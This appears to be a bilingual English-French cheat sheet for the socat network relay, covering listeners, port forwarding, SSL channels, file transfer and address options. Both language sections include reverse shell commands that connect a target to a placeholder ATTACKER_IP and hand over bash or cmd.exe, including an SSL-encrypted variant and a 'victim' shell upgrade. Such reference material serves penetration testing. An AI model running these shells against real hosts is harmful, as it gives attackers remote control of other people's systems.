socat
Relais réseau multi-usage. Crée des flux de données bidirectionnels entre presque n'importe quels deux points de terminaison : sockets, fichiers, processus, ports série. Multipurpose network relay. Creates bidirectional data streams between almost any two endpoints — sockets, files, processes, serial ports.
↗ http://www.dest-unreach.org/socat/Overview
socat (SOcket CAT) is netcat on steroids. It can relay data between virtually any two endpoints: TCP/UDP sockets, Unix domain sockets, files, SSL, PTY, and more. Invaluable for port forwarding, upgrading shells, and creating encrypted tunnels.
Listeners & Basic Connections
TCP listener (like nc -lvp)
socat TCP-LISTEN:4444,reuseaddr -
Connect to listener
socat - TCP:10.10.10.1:4444
UDP listener
socat UDP-LISTEN:4444,reuseaddr -
Connect with timeout
socat TCP:10.10.10.1:4444,connect-timeout=5 -
Reverse Shells
Listener side (attacker)
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0
Target side — fully interactive reverse shell
socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Windows reverse shell
socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes
Shell Upgrade (TTY)
Upgrade a raw netcat shell to fully interactive PTY Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim:
socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
Port Forwarding
Forward local port to remote host:port
socat TCP-LISTEN:8080,fork TCP:internal-server:80
Forward all connections on port 443 to another host
socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443
Bidirectional UDP forwarding
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53
SSL Encrypted Channels
# Generate self-signed cert
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
cat server.key server.crt > server.pem
SSL listener
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -
SSL client
socat - OPENSSL:10.10.10.1:443,verify=0
# SSL encrypted reverse shell
# Attacker:
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
# Target:
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
File Transfer
Send file
socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt
Receive file
socat TCP:10.10.10.1:4444 > received_file.txt
socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr # sender
socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create # receiver
Tips
forkis essential for listeners that need to handle multiple connectionsreuseaddrallows immediately reusing a port after disconnect- socat is often available on servers even when netcat isn’t
- For pivoting through jump hosts, chain multiple socat relays
Address types reference
TCP:host:port TCP client connection
TCP-LISTEN:port TCP server (listener)
UDP:host:port UDP client
UDP-LISTEN:port UDP server
OPENSSL:host:port SSL/TLS client
OPENSSL-LISTEN:port SSL/TLS server
FILE:filename Regular file
EXEC:command Execute program
PTY Pseudo-terminal
STDIN / STDOUT Standard I/O
- Shorthand for STDIO
Options (appended with comma):
fork Fork for each connection
reuseaddr Reuse address/port
bind=addr Bind to specific address
range=CIDR Only accept from CIDR
crnl Use CR+NL instead of NL
raw,echo=0 Raw terminal, no echo
pty,setsid Allocate PTY, new session
Vue d’ensemble
socat (SOcket CAT) est un netcat sous stéroïdes. Il peut relayer des données entre pratiquement n’importe quels deux points de terminaison : sockets TCP/UDP, sockets de domaine Unix, fichiers, SSL, PTY, et plus encore. Précieux pour le port forwarding, l’upgrade de shell et la création de tunnels chiffrés.
Listeners et connexions de base
# Listener TCP (comme nc -lvp)
socat TCP-LISTEN:4444,reuseaddr -
# Se connecter à un listener
socat - TCP:10.10.10.1:4444
# Listener UDP
socat UDP-LISTEN:4444,reuseaddr -
# Se connecter avec timeout
socat TCP:10.10.10.1:4444,connect-timeout=5 -
Reverse shells
# Côté listener (attaquant)
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0
# Côté cible : reverse shell pleinement interactif
socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Reverse shell Windows
socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes
Upgrade de shell (TTY)
# Upgrader un shell netcat brut vers un PTY pleinement interactif. Attaquant :
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victime :
socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
Port forwarding
# Rediriger un port local vers un hôte:port distant
socat TCP-LISTEN:8080,fork TCP:internal-server:80
# Rediriger toutes les connexions sur le port 443 vers un autre hôte
socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443
# Forwarding UDP bidirectionnel
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53
Canaux chiffrés SSL
# Générer un certificat autosigné
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
cat server.key server.crt > server.pem
# Listener SSL
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -
# Client SSL
socat - OPENSSL:10.10.10.1:443,verify=0
# Reverse shell chiffré SSL
# Attaquant :
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
# Cible :
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Transfert de fichiers
# Envoyer un fichier
socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt
# Recevoir un fichier
socat TCP:10.10.10.1:4444 > received_file.txt
# Envoi
socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr
# Réception
socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create
Conseils
forkest indispensable pour les listeners qui doivent gérer plusieurs connexionsreuseaddrpermet de réutiliser immédiatement un port après déconnexion- socat est souvent disponible sur des serveurs même quand netcat ne l’est pas
- Pour le pivoting à travers des hôtes relais, chaîner plusieurs relais socat
Référence des types d'adresse
TCP:host:port TCP client connection
TCP-LISTEN:port TCP server (listener)
UDP:host:port UDP client
UDP-LISTEN:port UDP server
OPENSSL:host:port SSL/TLS client
OPENSSL-LISTEN:port SSL/TLS server
FILE:filename Regular file
EXEC:command Execute program
PTY Pseudo-terminal
STDIN / STDOUT Standard I/O
- Shorthand for STDIO
Options (appended with comma):
fork Fork for each connection
reuseaddr Reuse address/port
bind=addr Bind to specific address
range=CIDR Only accept from CIDR
crnl Use CR+NL instead of NL
raw,echo=0 Raw terminal, no echo
pty,setsid Allocate PTY, new session